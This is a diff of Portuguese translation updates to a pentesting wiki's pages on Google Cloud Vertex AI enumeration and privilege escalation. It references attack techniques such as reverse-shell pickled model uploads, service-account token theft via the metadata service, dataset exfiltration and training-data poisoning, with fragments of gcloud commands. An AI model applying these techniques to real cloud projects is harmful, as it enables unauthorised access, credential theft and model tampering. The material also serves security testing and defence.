- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (se estiver usando Google OIDC)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
|
||||
Você pode encontrar um exemplo de como criar um token OpenID em nome de uma conta de serviço [**aqui**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@@ -4,19 +4,25 @@
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Para mais informações sobre Vertex AI, consulte:
|
||||
Para mais informações sobre Vertex AI, veja:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Para caminhos de pós-exploração do **Agent Engine / Reasoning Engine** usando o runtime metadata service, o agente de serviço padrão do Vertex AI, e pivotamento entre projetos em recursos consumer / producer / tenant, veja:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Com a permissão `aiplatform.customJobs.create` e `iam.serviceAccounts.actAs` em uma conta de serviço alvo, um atacante pode **executar código arbitrário com privilégios elevados**.
|
||||
Com a permissão `aiplatform.customJobs.create` e `iam.serviceAccounts.actAs` em uma service account alvo, um atacante pode **executar código arbitrário com privilégios elevados**.
|
||||
|
||||
Isso funciona criando um custom training job que executa código controlado pelo atacante (um custom container ou um Python package). Ao especificar uma conta de serviço privilegiada via a flag `--service-account`, o job herda as permissões dessa conta de serviço. O job é executado em infraestrutura gerenciada pelo Google com acesso ao GCP metadata service, permitindo a extração do OAuth access token da conta de serviço.
|
||||
Isso funciona criando um custom training job que executa código controlado pelo atacante (seja um custom container ou um Python package). Ao especificar uma service account privilegiada via a flag `--service-account`, o job herda as permissões dessa service account. O job é executado em infraestrutura gerenciada pelo Google com acesso ao GCP metadata service, permitindo a extração do OAuth access token da service account.
|
||||
|
||||
**Impacto**: Escalada completa de privilégios para as permissões da conta de serviço alvo.
|
||||
**Impacto**: Escalada completa de privilégio para as permissões da service account alvo.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -68,14 +74,14 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
Essa técnica consegue escalonamento de privilégios ao enviar um modelo para Vertex AI e então aproveitar esse modelo para executar código com privilégios elevados por meio de uma implantação de endpoint ou de um job de batch prediction.
|
||||
Esta técnica consegue escalada de privilégios ao fazer o upload de um modelo para o Vertex AI e então usar esse modelo para executar código com privilégios elevados por meio da implantação em endpoint ou de uma tarefa de predição em lote.
|
||||
|
||||
> [!NOTE]
|
||||
> Para realizar esse ataque é necessário ter um GCS bucket legível por todos (world readable) ou criar um novo para fazer upload dos artefatos do modelo.
|
||||
> Para executar este ataque é necessário ter um bucket GCS legível publicamente ou criar um novo para enviar os artefatos do modelo.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Enviar modelo pickled malicioso com reverse shell</summary>
|
||||
<summary>Fazer upload de modelo pickled malicioso com reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
@@ -143,12 +149,12 @@ gcloud ai models upload \
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Após enviar o modelo malicioso, um atacante poderia aguardar que alguém use o modelo, ou executá-lo ele mesmo através de uma implantação em endpoint ou um batch prediction job.
|
||||
> Após fazer upload do modelo malicioso, um atacante poderia esperar que alguém use o modelo, ou iniciar o modelo ele mesmo por meio de uma implantação em endpoint ou de um batch prediction job.
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
Se você tem permissões para criar e implantar modelos em endpoints, ou modificar políticas IAM do endpoint, você pode aproveitar modelos maliciosos enviados para o projeto para obter escalonamento de privilégios. Para acionar um dos modelos maliciosos enviados anteriormente através de um endpoint, tudo o que você precisa fazer é:
|
||||
Se você tem permissões para criar e implantar modelos em endpoints, ou modificar políticas IAM do endpoint, pode aproveitar modelos maliciosos carregados no projeto para escalar privilégios. Para acionar um dos modelos maliciosos enviados anteriormente via um endpoint, tudo o que você precisa fazer é:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -173,16 +179,16 @@ gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Se você tiver permissões para criar um **batch prediction jobs** e executá-lo com um service account, poderá acessar o metadata service. O código malicioso é executado a partir de um **custom prediction container** ou **malicious model** durante o processo de batch prediction.
|
||||
Se você tem permissões para criar um **batch prediction jobs** e executá-lo com uma service account, você pode acessar o metadata service. O código malicioso é executado a partir de um **custom prediction container** ou **malicious model** durante o processo de batch prediction.
|
||||
|
||||
**Nota**: Batch prediction jobs só podem ser criados via REST API ou Python SDK (sem suporte pelo gcloud CLI).
|
||||
**Note**: Batch prediction jobs só podem ser criados via REST API ou Python SDK (sem suporte ao gcloud CLI).
|
||||
|
||||
> [!NOTE]
|
||||
> Este ataque requer primeiro fazer o upload de um malicious model (veja a seção `aiplatform.models.upload` acima) ou usar um custom prediction container com seu reverse shell code.
|
||||
> Este ataque requer primeiro o upload de um malicious model (veja a seção `aiplatform.models.upload` acima) ou o uso de um custom prediction container com seu código de reverse shell.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Criar batch prediction job com malicious model</summary>
|
||||
<summary>Criar um batch prediction job com um malicious model</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
@@ -238,14 +244,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
Se você tiver a permissão **models.export**, você pode exportar artefatos do modelo para um GCS bucket que você controla, potencialmente acessando dados de treinamento sensíveis ou arquivos do modelo.
|
||||
Se você tem a permissão **models.export**, pode exportar artefatos do modelo para um bucket GCS que você controla, potencialmente acessando dados de treinamento sensíveis ou arquivos do modelo.
|
||||
|
||||
> [!NOTE]
|
||||
> Para realizar este attack é necessário ter um GCS bucket legível e gravável por qualquer pessoa ou criar um novo para fazer upload dos artefatos do modelo.
|
||||
> Para executar este ataque, é necessário ter um bucket GCS legível e gravável por todos ou criar um novo para fazer upload dos artefatos do modelo.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exportar artefatos do modelo para um GCS bucket</summary>
|
||||
<summary>Exportar artefatos do modelo para um bucket GCS</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
@@ -272,12 +278,12 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Crie **ML pipeline jobs** que executem múltiplas etapas com containers arbitrários e alcancem privilege escalation por meio de acesso reverse shell.
|
||||
Crie **ML pipeline jobs** que executam múltiplas etapas com containers arbitrários e obtenha escalada de privilégios através de reverse shell.
|
||||
|
||||
Pipelines são particularmente poderosos para privilege escalation porque suportam ataques multi-stage onde cada componente pode usar diferentes containers e configurações.
|
||||
Pipelines são particularmente poderosos para escalada de privilégios porque suportam ataques multiestágio onde cada componente pode usar diferentes containers e configurações.
|
||||
|
||||
> [!NOTE]
|
||||
> Você precisa de um bucket GCS com permissão de escrita para todos (world writable) para usar como pipeline root.
|
||||
> Você precisa de um bucket GCS gravável por qualquer pessoa para usar como raiz do pipeline.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -384,11 +390,11 @@ print(f" {response.text}")
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Criar **hyperparameter tuning jobs** que executem código arbitrário com privilégios elevados por meio de custom training containers.
|
||||
Crie **hyperparameter tuning jobs** que executem código arbitrário com privilégios elevados através de custom training containers.
|
||||
|
||||
Hyperparameter tuning jobs permitem executar múltiplas execuções de treinamento em paralelo, cada uma com diferentes valores de hyperparameter. Ao especificar um container malicioso com um reverse shell ou comando de exfiltration, e associá-lo a um privileged service account, você pode alcançar privilege escalation.
|
||||
Hyperparameter tuning jobs permitem executar múltiplas execuções de treinamento em paralelo, cada uma com diferentes valores de hiperparâmetros. Ao especificar um container malicioso com um reverse shell ou exfiltration command, e associá-lo a um privileged service account, você pode alcançar privilege escalation.
|
||||
|
||||
**Impacto**: Full privilege escalation para as permissões da target service account.
|
||||
**Impacto**: Full privilege escalation para as permissões do service account alvo.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -433,15 +439,15 @@ gcloud ai hp-tuning-jobs create \
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
Exporte **conjuntos de dados** para exfiltrar dados de treinamento que podem conter informações sensíveis.
|
||||
Exporte **datasets** para exfiltrate os dados de treinamento que podem conter informações sensíveis.
|
||||
|
||||
**Nota**: Operações em conjuntos de dados requerem REST API ou Python SDK (sem suporte do gcloud CLI para conjuntos de dados).
|
||||
**Nota**: Operações de Dataset requerem REST API ou Python SDK (sem suporte do gcloud CLI para datasets).
|
||||
|
||||
Conjuntos de dados frequentemente contêm os dados originais de treinamento, que podem incluir PII, dados comerciais confidenciais ou outras informações sensíveis que foram usadas para treinar modelos de produção.
|
||||
Datasets frequentemente contêm os dados de treinamento originais que podem incluir PII, dados comerciais confidenciais ou outras informações sensíveis que foram usadas para treinar modelos de produção.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exportar conjunto de dados para exfiltrar dados de treinamento</summary>
|
||||
<summary>Exportar dataset para exfiltrate dados de treinamento</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
@@ -490,17 +496,17 @@ cat exported-data/*/data-*.jsonl
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
Import malicious or poisoned data into existing datasets to **manipulate model training and introduce backdoors**.
|
||||
Importe dados maliciosos ou envenenados em conjuntos de dados existentes para **manipular o treinamento do modelo e introduzir backdoors**.
|
||||
|
||||
**Nota**: Operações em conjuntos de dados requerem REST API ou Python SDK (sem suporte do gcloud CLI para conjuntos de dados).
|
||||
**Note**: Operações em conjuntos de dados requerem REST API ou Python SDK (sem suporte do gcloud CLI para conjuntos de dados).
|
||||
|
||||
Ao importar dados forjados para um conjunto de dados usado no treinamento de modelos de ML, um atacante pode:
|
||||
- Introduzir backdoors em modelos (misclassificação acionada por gatilho)
|
||||
Ao importar dados manipulados para um conjunto de dados usado para treinar modelos de ML, um atacante pode:
|
||||
- Introduzir backdoors nos modelos (misclassificação baseada em gatilho)
|
||||
- Envenenar os dados de treinamento para degradar o desempenho do modelo
|
||||
- Injetar dados para fazer com que os modelos leak informações
|
||||
- Manipular o comportamento do modelo para entradas específicas
|
||||
|
||||
Esse ataque é particularmente eficaz quando direcionado a conjuntos de dados usados para:
|
||||
Este ataque é particularmente eficaz quando direcionado a conjuntos de dados usados para:
|
||||
- Classificação de imagens (injetar imagens rotuladas incorretamente)
|
||||
- Classificação de texto (injetar texto tendencioso ou malicioso)
|
||||
- Detecção de objetos (manipular caixas delimitadoras)
|
||||
@@ -565,11 +571,11 @@ curl -s -X GET \
|
||||
```
|
||||
</details>
|
||||
|
||||
**Cenários de Ataque:**
|
||||
**Cenários de ataque:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - Image classification</summary>
|
||||
<summary>Backdoor attack - classificação de imagens</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
@@ -596,7 +602,7 @@ done > label_flip.jsonl
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Envenenamento de dados para extração de modelo</summary>
|
||||
<summary>Data poisoning for model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
@@ -623,37 +629,37 @@ EOF
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Ataques de Data poisoning podem ter consequências graves:
|
||||
> Ataques de Data poisoning podem ter consequências severas:
|
||||
> - **Sistemas de segurança**: Contornar reconhecimento facial ou detecção de anomalias
|
||||
> - **Detecção de fraude**: Treinar modelos para ignorar padrões específicos de fraude
|
||||
> - **Moderação de conteúdo**: Fazer com que conteúdo prejudicial seja classificado como seguro
|
||||
> - **IA médica**: Misclassificar condições de saúde críticas
|
||||
> - **Sistemas autônomos**: Manipular a detecção de objetos para decisões críticas de segurança
|
||||
>
|
||||
> - **Moderação de conteúdo**: Fazer com que conteúdo nocivo seja classificado como seguro
|
||||
> - **IA médica**: Classificar erroneamente condições de saúde críticas
|
||||
> - **Sistemas autônomos**: Manipular detecção de objetos para decisões críticas de segurança
|
||||
>
|
||||
> **Impacto**:
|
||||
> - Modelos com backdoor que misclassificam em gatilhos específicos
|
||||
> - Degradação do desempenho e da precisão do modelo
|
||||
> - Modelos viesados que discriminam certas entradas
|
||||
> - Information leakage through model behavior
|
||||
> - Persistência a longo prazo (modelos treinados em dados envenenados herdarão o backdoor)
|
||||
>
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> - Modelos com backdoor que classificam incorretamente com base em gatilhos específicos
|
||||
> - Desempenho e acurácia do modelo degradados
|
||||
> - Modelos enviesados que discriminam certas entradas
|
||||
> - Information leakage através do comportamento do modelo
|
||||
> - Persistência a longo prazo (models trained on poisoned data will inherit the backdoor)
|
||||
>
|
||||
>
|
||||
> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
>
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **API obsoleta**: A API `aiplatform.notebookExecutionJobs.create` está obsoleta como parte da depreciação do Vertex AI Workbench Managed Notebooks. A abordagem moderna é usar o **Vertex AI Workbench Executor**, que executa notebooks através de `aiplatform.customJobs.create` (já documentado acima).
|
||||
> O Vertex AI Workbench Executor permite agendar execuções de notebooks que rodam na infraestrutura de treinamento customizada do Vertex AI com uma conta de serviço especificada. Isso é essencialmente um wrapper de conveniência em torno de `customJobs.create`.
|
||||
> **Para escalonamento de privilégios via notebooks**: Use o método `aiplatform.customJobs.create` documentado acima, que é mais rápido, mais confiável e usa a mesma infraestrutura subjacente que o Workbench Executor.
|
||||
>
|
||||
> **Deprecated API**: A API `aiplatform.notebookExecutionJobs.create` está obsoleta como parte da descontinuação do Vertex AI Workbench Managed Notebooks. A abordagem moderna é usar o **Vertex AI Workbench Executor**, que executa notebooks através de `aiplatform.customJobs.create` (já documentado acima).
|
||||
> O Vertex AI Workbench Executor permite agendar execuções de notebooks que rodam na infraestrutura de treinamento customizado do Vertex AI com uma conta de serviço especificada. Isso é essencialmente um wrapper de conveniência em torno de `customJobs.create`.
|
||||
> **Para escalonamento de privilégios via notebooks**: Use o método `aiplatform.customJobs.create` documentado acima, que é mais rápido, mais confiável, e usa a mesma infraestrutura subjacente que o Workbench Executor.
|
||||
>
|
||||
> **A técnica a seguir é fornecida apenas para contexto histórico e não é recomendada para uso em novas avaliações.**
|
||||
>
|
||||
> Crie **notebook execution jobs** que executem notebooks Jupyter com código arbitrário.
|
||||
>
|
||||
>
|
||||
> Crie **notebook execution jobs** que executem Jupyter notebooks com código arbitrário.
|
||||
>
|
||||
> Notebook jobs são ideais para execução de código em estilo interativo com uma conta de serviço, pois suportam células de código Python e comandos de shell.
|
||||
>
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
>
|
||||
> <summary>Criar arquivo de notebook malicioso</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
@@ -681,7 +687,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Executar notebook com a service account de destino</summary>
|
||||
<summary>Executar notebook com a conta de serviço alvo</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
|
||||
@@ -1,70 +1,78 @@
|
||||
# GCP - Vertex AI Enum
|
||||
# GCP - Vertex AI Enumeração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) é a **plataforma unificada de machine learning** do Google Cloud para construir, implantar e gerenciar modelos de IA em escala. Combina vários serviços de AI e ML em uma única plataforma integrada, permitindo que cientistas de dados e engenheiros de ML:
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) é a **plataforma unificada de aprendizado de máquina** do Google Cloud para construir, implantar e gerenciar modelos de IA em escala. Ela combina vários serviços de AI e ML em uma única plataforma integrada, permitindo que data scientists e ML engineers:
|
||||
|
||||
- **Treinar modelos customizados** usando AutoML ou treinamento customizado
|
||||
- **Implantar modelos** em endpoints escaláveis para previsões
|
||||
- **Gerenciar o ciclo de vida de ML** da experimentação até a produção
|
||||
- **Acessar modelos pré-treinados** do Model Garden
|
||||
- **Monitorar e otimizar** o desempenho dos modelos
|
||||
- **Treinem modelos customizados** usando AutoML ou treinamento customizado
|
||||
- **Implantem modelos** em endpoints escaláveis para predições
|
||||
- **Gerenciem o ciclo de vida de ML** desde a experimentação até a produção
|
||||
- **Acessem modelos pré-treinados** do Model Garden
|
||||
- **Monitorem e otimizem** o desempenho dos modelos
|
||||
|
||||
### Componentes principais
|
||||
### Agent Engine / Reasoning Engine
|
||||
|
||||
Para caminhos específicos de enumeração e post-exploitation relacionados a Agent Engine / Reasoning Engine envolvendo **metadata credential theft**, **P4SA abuse**, e **producer/tenant project pivoting**, verifique:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Componentes-chave
|
||||
|
||||
#### Modelos
|
||||
|
||||
Os **modelos** do Vertex AI representam modelos de machine learning treinados que podem ser implantados em endpoints para servir previsões. Os modelos podem ser:
|
||||
Vertex AI **models** representam modelos de machine learning treinados que podem ser implantados em endpoints para servir predições. Modelos podem ser:
|
||||
|
||||
- **Enviados** a partir de containers customizados ou artefatos de modelo
|
||||
- Criados via **AutoML**
|
||||
- **Fazem upload** a partir de containers customizados ou artefatos de modelo
|
||||
- Criados através de **AutoML** training
|
||||
- Importados do **Model Garden** (modelos pré-treinados)
|
||||
- **Versionados**, com múltiplas versões por modelo
|
||||
- **Versionados** com múltiplas versões por modelo
|
||||
|
||||
Cada modelo possui metadados incluindo seu framework, URI da imagem do container, localização dos artefatos e configuração de serving.
|
||||
Cada modelo possui metadata incluindo seu framework, container image URI, localização do artefato e configuração de serving.
|
||||
|
||||
#### Endpoints
|
||||
|
||||
**Endpoints** são recursos que hospedam modelos implantados e servem previsões online. Principais características:
|
||||
**Endpoints** são recursos que hospedam modelos implantados e servem predições online. Principais características:
|
||||
|
||||
- Podem hospedar **múltiplos modelos implantados** (com divisão de tráfego)
|
||||
- Fornecem **endpoints HTTPS** para previsões em tempo real
|
||||
- Suportam **autoscaling** com base no tráfego
|
||||
- Podem hospedar **múltiplos deployed models** (com traffic splitting)
|
||||
- Fornecem **HTTPS endpoints** para predições em tempo real
|
||||
- Suportam **autoscaling** baseado no tráfego
|
||||
- Podem usar acesso **privado** ou **público**
|
||||
- Suportam **A/B testing** através de divisão de tráfego
|
||||
- Suportam **A/B testing** através de traffic splitting
|
||||
|
||||
#### Custom Jobs
|
||||
|
||||
**Custom jobs** permitem executar código de treinamento customizado usando seus próprios containers ou pacotes Python. Recursos incluem:
|
||||
|
||||
- Suporte para **treinamento distribuído** com múltiplos worker pools
|
||||
- Tipos de máquina e **aceleradores** (GPUs/TPUs) configuráveis
|
||||
- Anexação de **service account** para acessar outros recursos do GCP
|
||||
- Suporte para **distributed training** com múltiplos worker pools
|
||||
- **Machine types** e **accelerators** configuráveis (GPUs/TPUs)
|
||||
- Associação de **service account** para acessar outros recursos do GCP
|
||||
- Integração com **Vertex AI Tensorboard** para visualização
|
||||
- Opções de **conectividade VPC**
|
||||
- Opções de **VPC connectivity**
|
||||
|
||||
#### Hyperparameter Tuning Jobs
|
||||
|
||||
Esses jobs fazem busca automática por **hiperparâmetros ótimos** executando múltiplos experimentos de treinamento com diferentes combinações de parâmetros.
|
||||
Esses jobs automaticamente **buscam os melhores hyperparameters** executando múltiplos trials de treinamento com diferentes combinações de parâmetros.
|
||||
|
||||
#### Model Garden
|
||||
|
||||
O **Model Garden** fornece acesso a:
|
||||
**Model Garden** fornece acesso a:
|
||||
|
||||
- Modelos pré-treinados do Google
|
||||
- Modelos Google pré-treinados
|
||||
- Modelos open-source (incluindo Hugging Face)
|
||||
- Modelos de terceiros
|
||||
- Capacidades de deploy com um clique
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
**Tensorboards** fornecem visualização e monitoramento para experimentos de ML, acompanhando métricas, gráficos do modelo e progresso do treinamento.
|
||||
**Tensorboards** fornecem visualização e monitoramento para experimentos de ML, acompanhando métricas, gráficos de modelos e progresso de treinamento.
|
||||
|
||||
### Service Accounts & Permissions
|
||||
|
||||
Por padrão, os serviços do Vertex AI usam a **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), que possui permissões de **Editor** no projeto. No entanto, você pode especificar service accounts customizadas ao:
|
||||
Por padrão, serviços do Vertex AI usam a **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), que tem permissões de **Editor** no projeto. Entretanto, você pode especificar service accounts customizadas ao:
|
||||
|
||||
- Criar custom jobs
|
||||
- Fazer upload de modelos
|
||||
@@ -73,29 +81,29 @@ Por padrão, os serviços do Vertex AI usam a **Compute Engine default service a
|
||||
Essa service account é usada para:
|
||||
- Acessar dados de treinamento no Cloud Storage
|
||||
- Escrever logs no Cloud Logging
|
||||
- Acessar secrets no Secret Manager
|
||||
- Acessar secrets do Secret Manager
|
||||
- Interagir com outros serviços do GCP
|
||||
|
||||
### Data Storage
|
||||
### Armazenamento de Dados
|
||||
|
||||
- **Artefatos de modelo** são armazenados em buckets do **Cloud Storage**
|
||||
- **Dados de treinamento** tipicamente residem no Cloud Storage ou BigQuery
|
||||
- **Imagens de container** são armazenadas em **Artifact Registry** ou Container Registry
|
||||
- **Logs** são enviados para **Cloud Logging**
|
||||
- **Métricas** são enviadas para **Cloud Monitoring**
|
||||
- **Model artifacts** são armazenados em buckets do **Cloud Storage**
|
||||
- **Training data** normalmente reside no Cloud Storage ou BigQuery
|
||||
- **Container images** são armazenadas no **Artifact Registry** ou Container Registry
|
||||
- **Logs** são enviados ao **Cloud Logging**
|
||||
- **Metrics** são enviadas ao **Cloud Monitoring**
|
||||
|
||||
### Encryption
|
||||
### Criptografia
|
||||
|
||||
Por padrão, o Vertex AI usa **chaves de criptografia gerenciadas pelo Google**. Você também pode configurar:
|
||||
Por padrão, Vertex AI usa **chaves de criptografia gerenciadas pelo Google**. Você também pode configurar:
|
||||
|
||||
- **Customer-managed encryption keys (CMEK)** via Cloud KMS
|
||||
- A criptografia aplica-se a artefatos de modelo, dados de treinamento e endpoints
|
||||
- A criptografia aplica-se a model artifacts, training data e endpoints
|
||||
|
||||
### Networking
|
||||
|
||||
Os recursos do Vertex AI podem ser configurados para:
|
||||
Recursos do Vertex AI podem ser configurados para:
|
||||
|
||||
- **Acesso pela internet público** (padrão)
|
||||
- **Acesso público à internet** (padrão)
|
||||
- **VPC peering** para acesso privado
|
||||
- **Private Service Connect** para conectividade segura
|
||||
- Suporte a **Shared VPC**
|
||||
@@ -243,12 +251,18 @@ gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
```
|
||||
### Privilege Escalation
|
||||
|
||||
Na página a seguir, você pode verificar como **abuse Vertex AI permissions to escalate privileges**:
|
||||
Na página a seguir, você pode ver como **abuse Vertex AI permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
|
||||
Reference in New Issue
Block a user